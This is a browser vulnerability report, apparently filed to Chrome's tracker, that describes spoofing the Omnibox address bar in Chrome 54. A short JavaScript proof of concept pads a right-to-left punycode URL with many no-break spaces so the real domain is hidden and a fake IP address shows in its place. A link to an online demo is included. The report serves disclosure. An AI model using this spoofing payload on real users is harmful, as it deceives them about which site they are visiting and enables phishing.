VULNERABILITY DETAILS
RTL URLs make IP address to the left side of the Chrome Omnibox.Unicode U+00A0 is no-break space,which will display blank in the Chrome Omnibox. A lot of no-break space will hide the real domain.

VERSION
Chrome Version: [54.0.2840.98] + [stable]
Operating System: [Windows7&10,MAC10.12.1,IOS10.2,Android7.0]

REPRODUCTION CASE

POC:

<script>
function aa(){
    var link = document.createElement('a');
    link.href = 'http://xn--ggbla1c4e.xn--ngbc5azd/?'+Array(0x50).join("%C2%A0")+'127.0.0.1';
    link.target="aaaa";
    document.body.appendChild(link);
    link.click();
}
</script>

<a onclick="aa();" href="javascript:void(0);">CLICK ME</a>

Online Demo:http://xisigr.com/test/spoof/chrome/rtl_1.html
 

Deleted: chrome_url_rtl_1.PNG 33.6 KB

	chrome_url_rtl_1.PNG 33.6 KB View Download